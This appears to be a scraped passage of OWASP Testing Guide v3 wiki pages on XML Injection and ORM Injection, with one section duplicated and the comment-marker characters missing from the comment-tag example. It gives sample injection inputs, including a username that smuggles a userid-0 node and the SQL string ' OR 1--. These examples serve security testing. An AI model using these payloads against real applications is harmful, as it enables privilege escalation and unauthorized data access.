<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714

Testing for XML Injection (OTG-INPVAL-008)

2008-09-07T05:11:52Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parentheses: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714

Testing for ORM Injection (OTG-INPVAL-007)

2008-09-07T05:10:32Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool.

== Description ==
An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.

ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

== Black Box testing and example ==
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection]. In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters. Most ORM tools provide safe functions to escape user input. However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.

== Gray Box testing and example ==
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and tests web applications that use this tool, there is a higher probability of successfully attacking the application. Patterns to look for in code include:

* Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"

Simply sending "' OR 1--" in the form where order date can be entered can yield positive results.

== References ==
'''Whitepapers''' 
* [[Testing for SQL Injection#References|References from Testing for SQL Injection]] are applicable to ORM Injection
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping 
* [[Interpreter Injection#ORM Injection|OWASP Interpreter Injection]]

'''Tools''' 
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 
* Hibernate http://www.hibernate.org 
* NHibernate http://www.nhibernate.org 
* Also, see [[Testing for SQL Injection#References|SQL Injection References]]